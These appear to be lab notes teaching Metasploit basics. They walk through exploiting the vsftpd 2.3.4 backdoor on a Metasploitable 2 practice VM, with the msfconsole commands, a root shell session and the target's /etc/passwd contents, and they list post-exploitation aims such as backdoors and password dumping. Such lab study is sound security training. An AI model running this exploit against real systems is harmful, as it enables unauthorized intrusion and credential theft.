

Exploitation Using Metasploit

Objective: Understand how vulnerabilities are exploited using the Metasploit Framework.

Metasploit :

- penetration testing tool
- used for ethical hacking, vulnerability exploitation, and security testing.
- provides collection of **exploits, payloads, and post-exploitation tools** to help security researchers test and secure systems,

Key Components :

1. Exploit → A method to take the advantage of vulnerability
 - executes a sequence of commands that target a specific vulnerability found in a system.
2. Payload → The code that runs after exploitation
3. Listener → Waits for the exploited system to connect back.
4. Auxiliary Modules → tools that help in information gathering, scanning, and testing vulnerabilities but do not provide direct system access like exploits do.
Scanning & Enumeration (e.g., auxiliary/scanner/portscan/tcp for port scanning).
5. Post-exploitation tools → used after access
 - methods used after gaining initial access to a system to **expand control, gather information, maintain persistence, and escalate privileges**

After getting a shell, attackers can :

- **steal data** : extract sensitive files, credentials or database records.
- **escalate privileges** : gain higher system access, from low-level user to an administrator or root, allowing full control over the system.
- **install backdoors** : create secret access points for future entry.
- **dump passwords** : extract stored passwords from memory or system files.
- **maintain persistence** : ensure continued access even after reboot or detection.

These techniques help ethical hackers assess security risks and real attackers to strengthen their foothold.

How Metasploit Works?

1. Scan a target for **vulnerabilities** (e.g., open ports, outdated software).
2. Select an **exploit** based on the vulnerability.
3. Choose a **payload** (e.g., Meterpreter shell for remote access).
4. Execute the **attack** and gain control.
5. Perform **post-exploitation** activities.

Use Metasploit to exploit a vulnerability (Kali/Linux):

1. install metasploit

- sudo apt install metasploit-framework -y
- check installation : msfconsole

2. Set Up a Test Environment

- Download Metasploitable 2 (pre configured vulnerable machine)
- import it into Virtual Box (.vmdk file / disk file)
- start metasploitable

for login :

username : msfadmin

password : msfadmin

- Find its IP address using,

ifconfig or ip a

3. Exploit a Vulnerability (Exp : vsftpd)

- start metasploit
- search for an exploit
- use the exploit
- show options / to display the required and optional parameters that need to be set before using an exploit, auxiliary, or post-exploitation module.
- set the required parameters like RHOSTS, LHOST, port etc

RHOSTS (Remote Host) → The victim's IP / target machine

LHOST (Local Host) → Attacker's IP where the shell session will be connect back./ machine

```
msf6 > search vsftpd
```

Matching Modules

=====

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2 Denial of Service
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example `info 1`, `use 1` or `use exploit/unix/ftp/vsftpd_234_backdoor`

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
```

[*] No payload configured, defaulting to cmd/unix/interact

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name	Current Setting	Required	Description
------	-----------------	----------	-------------

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	21	yes	The target port (TCP)

Exploit target:

Id	Name
0	Automatic

View the full module info with the `info`, or `info -d` command.

```

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.101:21 - USER: 331 Please specify the password.
[+] 192.168.56.101:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.1:45275 -> 192.168.56.101:6200) at 2025-02-16 02:15:27 +0530

whoami
root
id
uid=0(root) gid=0(root)
uname
Linux
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh

```

4. If successful, you should get a command shell session or or a Meterpreter session based on the payload used.

What Can Be Done in a Shell After Exploitation?

Once you have a **command shell session** or **Meterpreter session**, you gain direct control over the target system. Here's what you can do:

whoami → check current user
 id → get user id
 uname -a → get system information
 cat /etc/passwd → view user accounts

This is why ethical hackers and penetration testers use **post-exploitation techniques** to simulate real attacks and secure systems.